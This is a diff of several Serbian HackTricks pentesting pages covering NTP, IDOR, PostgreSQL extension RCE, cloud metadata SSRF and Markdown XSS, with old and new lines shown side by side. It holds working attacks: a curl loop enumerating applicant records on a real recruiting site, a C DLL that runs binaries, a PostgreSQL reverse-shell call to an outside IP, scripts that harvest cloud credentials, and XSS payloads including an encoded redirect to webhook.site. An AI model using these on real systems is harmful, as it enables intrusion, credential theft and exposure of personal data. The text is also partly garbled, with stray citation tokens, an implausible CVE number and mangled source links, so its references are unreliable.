2. Omoguće ``kod`` i ``limited``/``nomodify`` ograničenja tako da zlonamerni klijenti dobijaju **Kiss-o'-Death** pakete sa ograničenjem brzine umesto punih odgovora.
3. Prate dnevnike demona za **panic** događaje ili prilagođavanja koraka > 1000 s. (Potpisi napada prema RFC 8633 §5.3.)
4. Razmotre **leap-smear** kako bi izbegli prekide zbog leap-sekundi, ali osiguraju da *svi* klijenti nizvodno koriste isti smear prozor.
5. Održavaju polling ≤24 h kako ne bi propustili oznake leap-sekundi.
See RFC 8633 for a comprehensive checklist. citeturn8search0turn8search1
Pogledajte RFC 8633 za sveobuhvatan kontrolni spisak.
---
## Shodan / Censys Dorks
@ -141,7 +141,7 @@ port:4460 "ntske" # NTS-KE
| Alat | Svrha | Primer |
|------|---------|---------|
| ``ntpwn`` | Script-kiddie omotač za slanje monlist & peers upita | ``python ntpwn.py --monlist targets.txt`` |
| ``ntpwn`` | Skripta za spray monlist & peers upite | ``python ntpwn.py --monlist targets.txt`` |
| **zgrab2 ntp** | Masovno skeniranje / JSON izlaz uključujući monlist zastavicu | Pogledajte komandu iznad |
| ``chronyd`` sa ``allow`` | Pokrenite rogue NTP server u pentest laboratoriji | ``chronyd -q 'server 127.127.1.0 iburst'`` |
| ``BetterCap`` | Umetnite NTP pakete za MITM napad sa pomeranjem vremena na Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
@ -167,16 +167,16 @@ Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
---
## Reference
## References
- RFC 8915 *Sigurnost mrežnog vremena za protokol mrežnog vremena* (port 4460) citeturn11search0
- RFC 8633 *Protokol mrežnog vremena BCP* citeturn8search0
- Cloudflare DDoS izveštaj 2024 Q4 (5.6 Tbps) citeturn5search0
- Cloudflare *NTP amplifikacijski napad* članak citeturn5search1
- NTP 4.2.8p15 CVE serija 2023-04 citeturn1search4
- NVD unosi **CVE-2023-2655155**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
- SUSE chrony bezbednosna ažuriranja 2024 (chrony 4.5) citeturn2search2
- Khronos/Chronos nacrt (ublažavanje pomeranja vremena) citeturn9search1
- chronyc priručnik/primeri za daljinsko praćenje citeturn3search0turn10search1
- zgrab2 ntp modul dokumentacija citeturn7search0
- RFC 8915 *Sigurnost mrežnog vremena za protokol mrežnog vremena* (port 4460)
- RFC 8633 *Protokol mrežnog vremena BCP*
- Cloudflare DDoS izveštaj 2024 Q4 (5.6 Tbps)
- Cloudflare *NTP amplifikacijski napad* članak
- NTP 4.2.8p15 CVE serija 2023-04
- NVD unosi **CVE-2023-2655155**, **CVE-2023-33192**
- SUSE chrony bezbednosna ažuriranja 2024 (chrony 4.5)
- Khronos/Chronos nacrt (ublažavanje pomeranja vremena)
- chronyc priručnik/primeri za daljinsko praćenje
- zgrab2 ntp modul dokumentacija
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,85 @@
{{#include ../banners/hacktricks-training.md}}
**Proverite post: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) se pojavljuje kada web ili API krajnja tačka otkriva ili prihvata identifikator koji korisnik može kontrolisati, a koji se koristi **direktno** za pristup unutrašnjem objektu **bez provere da li je pozivalac ovlašćen** da pristupi/izmeni taj objekat. Uspešna eksploatacija obično omogućava horizontalno ili vertikalno eskaliranje privilegija, kao što su čitanje ili modifikovanje podataka drugih korisnika i, u najgorem slučaju, potpuni preuzimanje naloga ili masovno iskopavanje podataka.
---
## 1. Identifikacija potencijalnih IDOR-a
1. Tražite **parametre koji se odnose na objekat**:
* Putanja: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Upit: `?id=42`, `?invoice=2024-00001`
* Telo / JSON: `{"user_id": 321, "order_id": 987}`
* Headeri / Kolačići: `X-Client-ID: 4711`
2. Preferirajte krajnje tačke koje **čitaju ili ažuriraju** podatke (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Obratite pažnju kada su identifikatori **sekvencijalni ili predvidivi** ako je vaš ID `64185742`, onda verovatno postoji `64185741`.
4. Istražite skrivene ili alternativne tokove (npr. *"Članovi Paradox tima"* link na stranicama za prijavu) koji bi mogli otkriti dodatne API-je.
5. Koristite **autentifikovanu sesiju sa niskim privilegijama** i menjajte samo ID **zadržavajući isti token/kolačić**. Odsustvo greške autorizacije obično je znak IDOR-a.
### Brzo ručno manipulisanje (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### Automatizovana enumeracija (Burp Intruder / curl petlja)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
## 2. Studija slučaja iz stvarnog sveta McHire Chatbot Platforma (2025)
Tokom procene **McHire** portala za zapošljavanje koji koristi Paradox.ai, otkriven je sledeći IDOR:
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: kolačić sesije korisnika za **bilo** koji test račun restorana
* Body parameter: `{"lead_id": N}` 8-cifreni, **sekvencijalni** numerički identifikator
Smanjivanjem `lead_id`, tester je dobio proizvoljne aplikanteve **pune PII** (ime, e-mail, telefon, adresa, preferencije smene) plus potrošački **JWT** koji je omogućio preuzimanje sesije. Enumeracija opsega `1 64,185,742` otkrila je otprilike **64 miliona** zapisa.
Dokaz koncepta zahteva:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
---
## 3. Uticaj IDOR / BOLA
* Horizontalna eskalacija čitanje/izmena/bršenje podataka **drugih korisnika**.
* Vertikalna eskalacija korisnik sa niskim privilegijama dobija funkcionalnosti samo za administratore.
* Masovno curenje podataka ako su identifikatori sekvencijalni (npr. ID-evi aplikanta, fakture).
* Preuzimanje naloga krađom tokena ili resetovanjem lozinki drugih korisnika.
---
## 4. Mogućnosti smanjenja rizika i najbolje prakse
1. **Sprovodite autorizaciju na nivou objekta** za svaki zahtev (`user_id == session.user`).
2. Preferirajte **indirektne, nepredvidive identifikatore** (UUIDv4, ULID) umesto ID-eva sa automatskim povećanjem.
3. Sprovodite autorizaciju **na serverskoj strani**, nikada se ne oslanjajte na skrivene forme ili UI kontrole.
4. Implementirajte **RBAC / ABAC** provere u centralnom middleware-u.
5. Dodajte **ograničenje brzine i logovanje** za otkrivanje enumeracije ID-eva.
6. Bezbednosno testirajte svaki novi endpoint (jedinično, integraciono i DAST).
---
## 5. Alati
* **BurpSuite ekstenzije**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projekti**: `bwapp-idor-scanner`, `Blindy` (masovno lov na IDOR).
{{#include ../banners/hacktricks-training.md}}
## Reference
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
{{#include /banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## PostgreSQL ekstenzije
PostgreSQL je razvijen sa ekstenzibilnošću kao osnovnom karakteristikom, omogućavajući mu da besprekorno integriše ekstenzije kao da su ugrađene funkcionalnosti. Ove ekstenzije, suštinski biblioteke napisane u C, obogaćuju bazu podataka dodatnim funkcijama, operatorima ili tipovima.
PostgreSQL je razvijen sa proširivošću kao osnovnom karakteristikom, omogućavajući mu da besprekorno integriše ekstenzije kao da su ugrađene funkcionalnosti. Ove ekstenzije, u suštini biblioteke napisane u C, obogaćuju bazu podataka dodatnim funkcijama, operatorima ili tipovima.
Od verzije 8.1 nadalje, postavljen je specifičan zahtev za biblioteke ekstenzija: moraju biti kompajlirane sa posebnim zaglavljem. Bez toga, PostgreSQL ih neće izvršiti, osiguravajući da se koriste samo kompatibilne i potencijalno sigurne ekstenzije.
@ -12,7 +12,7 @@ Takođe, imajte na umu da **ako ne znate kako da** [**otpremite fajlove na žrtv
### RCE u Linuxu
**Za više informacija proverite: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
**Za više informacija pogledajte: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
Izvršavanje sistemskih komandi iz PostgreSQL 8.1 i ranijih verzija je proces koji je jasno dokumentovan i jednostavan. Moguće je koristiti ovo: [Metasploit modul](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
@ -75,7 +75,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Ova greška je objašnjena u [PostgreSQL dokumentaciji](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> Da bi se osiguralo da dinamički učitani objekat nije učitan u nekompatibilni server, PostgreSQL proverava da li datoteka sadrži "magic block" sa odgovarajućim sadržajem. Ovo omogućava serveru da detektuje očigledne nekompatibilnosti, kao što je kod kompajliran za drugu glavnu verziju PostgreSQL-a. Magic block je obavezan od PostgreSQL 8.2. Da biste uključili magic block, napišite ovo u jednoj (i samo jednoj) od izvornih datoteka modula, nakon što ste uključili zaglavlje fmgr.h:
> Da bi se osiguralo da se dinamički učitani objekat ne učita u nekompatibilni server, PostgreSQL proverava da li datoteka sadrži "magic block" sa odgovarajućim sadržajem. Ovo omogućava serveru da detektuje očigledne nekompatibilnosti, kao što je kod kompajliran za drugu glavnu verziju PostgreSQL-a. Magic block je obavezan od PostgreSQL 8.2. Da biste uključili magic block, napišite ovo u jednoj (i samo jednoj) od izvornih datoteka modula, nakon što ste uključili zaglavlje fmgr.h:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
@ -127,7 +127,7 @@ https://github.com/Dionach/pgexec
### RCE u Windows-u
Sledeća DLL uzima kao ulaz **ime binarnog fajla** i **broj** **puta** koliko želite da ga izvršite i izvršava ga:
Sledeći DLL uzima kao ulaz **ime binarnog fajla** i **broj** **puta** koliko želite da ga izvršite i izvršava ga:
```c
#include "postgres.h"
#include <string.h>
@ -262,11 +262,11 @@ Projekat [PolyUDF](https://github.com/rop-la/PolyUDF) je takođe dobar početak
### RCE u najnovijim verzijama Postgres-a
U **najnovijim verzijama** PostgreSQL-a, uvedena su ograničenja gde je `superuser` **zabranjen** da **učitava** deljene biblioteke osim iz specifičnih direktorijuma, kao što su `C:\Program Files\PostgreSQL\11\lib` na Windows-u ili `/var/lib/postgresql/11/lib` na \*nix sistemima. Ovi direktorijumi su **zaštićeni** od operacija pisanja od strane ili NETWORK_SERVICE ili postgres naloga.
U **najnovijim verzijama** PostgreSQL-a, uvedena su ograničenja gde je `superuser` **zabranjen** da **učitava** datoteke deljenih biblioteka osim iz specifičnih direktorijuma, kao što su `C:\Program Files\PostgreSQL\11\lib` na Windows-u ili `/var/lib/postgresql/11/lib` na \*nix sistemima. Ovi direktorijumi su **zaštićeni** od operacija pisanja od strane ili NETWORK_SERVICE ili postgres naloga.
Uprkos ovim ograničenjima, moguće je da autentifikovani `superuser` baze podataka **piše binarne datoteke** na datotečni sistem koristeći "velike objekte." Ova sposobnost se proteže na pisanje unutar direktorijuma `C:\Program Files\PostgreSQL\11\data`, što je od suštinskog značaja za operacije baze podataka kao što su ažuriranje ili kreiranje tabela.
Značajna ranjivost proizašla je iz komande `CREATE FUNCTION`, koja **dozvoljava prolaz kroz direktorijum** u direktorijum podataka. Kao rezultat, autentifikovani napadač bi mogao **iskoristiti ovaj prolaz** da upiše deljenu biblioteku u direktorijum podataka i zatim je **učita**. Ova eksploatacija omogućava napadaču da izvrši proizvoljan kod, postignuvši izvršavanje nativnog koda na sistemu.
Značajna ranjivost proističe iz komande `CREATE FUNCTION`, koja **dozvoljava prolaz kroz direktorijum** u direktorijum podataka. Kao rezultat, autentifikovani napadač bi mogao **iskoristiti ovaj prolaz** da napiše datoteku deljene biblioteke u direktorijum podataka i zatim je **učita**. Ova eksploatacija omogućava napadaču da izvrši proizvoljan kod, postignuvši izvršavanje nativnog koda na sistemu.
#### Tok napada
@ -281,10 +281,10 @@ Kada ste učitali ekstenziju (sa imenom poc.dll za ovaj primer) u direktorijum p
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_Napomena da ne morate dodavati ekstenziju `.dll` jer će funkcija create to dodati._
_Napomena da nije potrebno dodavati ekstenziju `.dll` jer će funkcija za kreiranje to dodati._
Za više informacija **pročitajte**[ **originalnu publikaciju ovde**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
U toj publikaciji **ovaj je bio** [**kod koji se koristi za generisanje postgres ekstenzije**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_da biste naučili kako da kompajlirate postgres ekstenziju, pročitajte neku od prethodnih verzija_).\
Za više informacija **pročitajte**[ **originalnu publikaciju ovde**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
U toj publikaciji **ovaj je bio** [**kod korišćen za generisanje postgres ekstenzije**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_da biste naučili kako da kompajlirate postgres ekstenziju, pročitajte neku od prethodnih verzija_).\
Na istoj stranici je dat **ovaj exploit za automatizaciju** ove tehnike:
```python
#!/usr/bin/env python3

View File

@ -6,16 +6,16 @@
### Zloupotreba SSRF u AWS EC2 okruženju
**Metadata** endpoint može se pristupiti iz bilo koje EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na url-u: `http://169.254.169.254` ([informacije o metapodacima ovde](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Metapodaci** endpoint može se pristupiti iz bilo koje EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na URL-u: `http://169.254.169.254` ([informacije o metapodacima ovde](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Postoje **2 verzije** metadata endpoint-a. **Prva** verzija omogućava **pristup** endpoint-u putem **GET** zahteva (tako da svaka **SSRF može to iskoristiti**). Za **verziju 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), potrebno je zatražiti **token** slanjem **PUT** zahteva sa **HTTP zaglavljem** i zatim koristiti taj token za pristup metapodacima sa drugim HTTP zaglavljem (tako da je **teže zloupotrebiti** sa SSRF).
Postoje **2 verzije** metapodatkovnog endpoint-a. **Prva** verzija omogućava **pristup** endpoint-u putem **GET** zahteva (tako da svaka **SSRF može to iskoristiti**). Za **verziju 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), potrebno je zatražiti **token** slanjem **PUT** zahteva sa **HTTP zaglavljem** i zatim koristiti taj token za pristup metapodacima sa drugim HTTP zaglavljem (tako da je **komplikovanije zloupotrebiti** sa SSRF).
> [!CAUTION]
> Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor PUT zahteva** će imati **hop limit od 1**, što onemogućava pristup EC2 metapodacima iz kontejnera unutar EC2 instance.
> Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor PUT zahteva** će imati **granicu skakanja od 1**, što onemogućava pristup EC2 metapodacima iz kontejnera unutar EC2 instance.
>
> Pored toga, **IMDSv2** će takođe **blokirati zahteve za dobijanje tokena koji uključuju `X-Forwarded-For` zaglavlje**. Ovo je da se spreči da pogrešno konfigurisani obrnuti proksi mogu da mu pristupe.
Možete pronaći informacije o [metadata endpoint-ima u dokumentaciji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). U sledećem skriptu se dobijaju neke zanimljive informacije iz njega:
Možete pronaći informacije o [metapodacima u dokumentaciji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). U sledećem skriptu dobijaju se neke zanimljive informacije iz njega:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -79,7 +79,7 @@ Kao **javne IAM akreditive** koje su izložene, možete posetiti: [http://4d0cf0
Takođe možete proveriti javne **EC2 sigurnosne akreditive** na: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Možete zatim uzeti **te akreditive i koristiti ih sa AWS CLI**. To će vam omogućiti da radite **bilo šta što ta uloga ima dozvolu** da radi.
Zatim možete uzeti **te akreditive i koristiti ih sa AWS CLI**. To će vam omogućiti da radite **bilo šta što ta uloga ima dozvolu** da radi.
Da biste iskoristili nove akreditive, potrebno je da kreirate novi AWS profil kao što je ovaj:
```
@ -90,26 +90,26 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
```
Obratite pažnju na **aws_session_token**, ovo je neophodno za rad profila.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) se može koristiti sa otkrivenim kredencijalima da saznate svoje privilegije i pokušate da ih eskalirate.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) se može koristiti sa otkrivenim akreditivima da saznate svoje privilegije i pokušate da ih eskalirate.
### SSRF u AWS ECS (Container Service) kredencijali
### SSRF u AWS ECS (Container Service) akreditivi
**ECS** je logička grupa EC2 instanci na kojima možete pokrenuti aplikaciju bez potrebe da skalirate sopstvenu infrastrukturu za upravljanje klasterom, jer ECS to upravlja umesto vas. Ako uspete da kompromitujete uslugu koja se pokreće u **ECS**, **metadata endpoints se menjaju**.
Ako pristupite _**http://169.254.170.2/v2/credentials/\<GUID>**_ pronaći ćete kredencijale ECS mašine. Ali prvo morate da **pronađete \<GUID>**. Da biste pronašli \<GUID>, potrebno je da pročitate **environ** promenljivu **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** unutar mašine.\
Ako pristupite _**http://169.254.170.2/v2/credentials/\<GUID>**_, pronaći ćete akreditive ECS mašine. Ali prvo morate da **pronađete \<GUID>**. Da biste pronašli \<GUID>, potrebno je da pročitate **environ** promenljivu **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** unutar mašine.\
Možete biti u mogućnosti da je pročitate iskorišćavajući **Path Traversal** na `file:///proc/self/environ`\
Pomenuta http adresa bi trebala da vam pruži **AccessKey, SecretKey i token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> [!TIP]
> Imajte na umu da u **nekih slučajevima** ćete moći da pristupite **EC2 metapodacima instance** iz kontejnera (proverite IMDSv2 TTL ograničenja pomenuta ranije). U ovim scenarijima iz kontejnera možete pristupiti i IAM ulozi kontejnera i IAM ulozi EC2.
### SSRF za AWS Lambda
U ovom slučaju **akreditivi se čuvaju u env varijablama**. Dakle, da biste im pristupili, potrebno je da pristupite nečemu poput **`file:///proc/self/environ`**.
**Ime** **zanimljivih env varijabli** su:
**Nazivi** **zanimljivih env varijabli** su:
- `AWS_SESSION_TOKEN`
- `AWS_SECRET_ACCESS_KEY`
@ -143,9 +143,9 @@ Možete [**pronaći ovde dokumentaciju o metapodacima**](https://cloud.google.co
Zahteva HTTP zaglavlje **`Metadata-Flavor: Google`** i možete pristupiti metapodacima putem sledećih URL-ova:
- http://169.254.169.254
- http://metadata.google.internal
- http://metadata
- [http://169.254.169.254](http://169.254.169.254)
- [http://metadata.google.internal](http://metadata.google.internal)
- [http://metadata](http://metadata)
Zanimljivi krajnji tačke za ekstrakciju informacija:
```bash
@ -323,11 +323,11 @@ curl http://169.254.169.254/metadata/v1.json | jq
- Ne sme **imati** zaglavlje `X-Forwarded-For`
> [!TIP]
> Azure VM može imati prikačen 1 sistemski upravljani identitet i nekoliko korisnički upravljanih identiteta. Što u suštini znači da možete **imiti sve upravljane identitete prikačene na VM**.
> Azure VM može imati prikačen 1 sistemski upravljani identitet i nekoliko korisnički upravljanih identiteta. Što u suštini znači da možete **imitirati sve upravljane identitete prikačene na VM**.
>
> Kada tražite pristupni token za metadata endpoint, po defaultu će metadata servis koristiti **sistemski dodeljeni upravljani identitet** za generisanje tokena, ako postoji neki sistemski dodeljeni upravljani identitet. U slučaju da postoji samo **JEDAN korisnički dodeljeni upravljani identitet**, tada će se on koristiti po defaultu. Međutim, u slučaju da ne postoji sistemski dodeljeni upravljani identitet i postoji **više korisnički dodeljenih upravljanih identiteta**, tada će metadata servis vratiti grešku koja ukazuje na to da postoji više upravljanih identiteta i potrebno je **navesti koji koristiti**.
>
> Nažalost, nisam mogao pronaći nijedan metadata endpoint koji ukazuje na sve MI koje VM ima prikačene, tako da otkrivanje svih dodeljenih upravljanih identiteta za VM može biti težak zadatak iz perspektive Red Teama.
> Nažalost, nisam mogao pronaći nijedan metadata endpoint koji ukazuje na sve MI koje VM ima prikačene, tako da otkrivanje svih dodeljenih upravljanih identiteta na VM može biti težak zadatak iz perspektive Red Teama.
>
> Stoga, da biste pronašli sve prikačene MI, možete uraditi:
>
@ -335,8 +335,8 @@ curl http://169.254.169.254/metadata/v1.json | jq
>
> ```bash
> az vm identity show \
> --resource-group <rsc-group> \
> --name <vm-name>
> --resource-group <rsc-group> \
> --name <vm-name>
> ```
>
> - Dobiti **prikačene identitete** koristeći podrazumevani prikačeni MI u metapodacima:
@ -344,25 +344,25 @@ curl http://169.254.169.254/metadata/v1.json | jq
> ```bash
> export API_VERSION="2021-12-13"
>
> # Dobijte token iz podrazumevanog MI
> # Dobijanje tokena iz podrazumevanog MI
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
>
> # Dobijte potrebne detalje
> # Dobijanje potrebnih detalja
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> export VM_NAME=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # Pokušajte da dobijete prikačene MIs
> curl -s -H "Authorization: Bearer $TOKEN" \
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **Dobijte sve** definisane upravljane identitete u tenant-u i **brute force** da vidite da li je neki od njih prikačen na VM:
> - **Dobiti sve** definisane upravljane identitete u tenant-u i **brute force** da vidite da li je neki od njih prikačen na VM:
>
> ```bash
> az identity list
@ -427,9 +427,12 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
{{#endtab}}
{{#endtabs}}
> [!WARNING]
> Imajte na umu da krajnja tačka **`http://169.254.169.254/metadata/v1/instanceinfo` ne zahteva `Metadata: True` header** što je odlično za prikazivanje uticaja u SSRF ranjivostima u Azure-u gde ne možete dodati ovaj header.
### Azure App & Functions Services & Automation Accounts
Iz **env** možete dobiti vrednosti **`IDENTITY_HEADER`** i **`IDENTITY_ENDPOINT`**. To možete koristiti da prikupite token za komunikaciju sa serverom metapodataka.
Iz **env** možete dobiti vrednosti **`IDENTITY_HEADER`** i **`IDENTITY_ENDPOINT`**. To možete koristiti za prikupljanje tokena za komunikaciju sa metadata serverom.
Većinu vremena, želite token za jedan od ovih resursa:
@ -556,19 +559,19 @@ Za pristup metapodacima Packetcloud-a, dokumentacija se može pronaći na: [http
## OpenStack/RackSpace
Potrebnost za zaglavljem nije pomenuta. Metapodaci se mogu pristupiti putem:
Potrebnost za header-om nije pomenuta. Metapodaci se mogu pristupiti putem:
- `http://169.254.169.254/openstack`
## HP Helion
Potrebnost za zaglavljem ovde takođe nije pomenuta. Metapodaci su dostupni na:
Potrebnost za header-om ovde takođe nije pomenuta. Metapodaci su dostupni na:
- `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
Oracle Cloud pruža niz krajnjih tačaka za pristup različitim aspektima metapodataka:
Oracle Cloud pruža niz krajnjih tačaka za pristup raznim aspektima metapodataka:
- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
@ -585,7 +588,7 @@ Alibaba nudi krajnje tačke za pristup metapodacima, uključujući instance i ID
## Kubernetes ETCD
Kubernetes ETCD može sadržati API ključeve, interne IP adrese i portove. Pristup je prikazan putem:
Kubernetes ETCD može sadržati API ključeve, interne IP adrese i portove. Pristup se demonstrira putem:
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
@ -594,9 +597,9 @@ Kubernetes ETCD može sadržati API ključeve, interne IP adrese i portove. Pris
Docker metapodaci se mogu pristupiti lokalno, sa primerima za preuzimanje informacija o kontejnerima i slikama:
- Jednostavan primer za pristup metapodacima kontejnera i slika putem Docker soketa:
- Jednostavan primer za pristup metapodacima kontejnera i slika putem Docker socket-a:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- Unutar kontejnera, koristite curl sa Docker soketom:
- Unutar kontejnera, koristite curl sa Docker socket-om:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`

View File

@ -42,7 +42,7 @@ t:prompt(document.cookie))
```
### HTML Sanitiser Markdown Bypass
Sledeći kod **sanitizuje HTML ulaz** i zatim **prosleđuje ga markdown parseru**, zatim se XSS može aktivirati zloupotrebom pogrešnih interpretacija između Markdown-a i DOMPurify-a.
Sledeći kod **sanitizuje HTML ulaz** i zatim **prosledi ga markdown parseru**, zatim, XSS može biti aktiviran zloupotrebom pogrešnih interpretacija između Markdown-a i DOMPurify.
```html
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
@ -56,7 +56,7 @@ DOMPurify.sanitize(qs.get("content"))
}
</script>
```
Primeri payload-a:
Primeri payloada:
```html
<div
id="1
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
```html
<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
-->
[a](javascript:prompt(document.cookie))
@ -97,7 +97,7 @@ Fuzzing examples from
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[lol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

View File

@ -8,14 +8,14 @@
> Ovo su **vrednosti HackTricks projekta**:
>
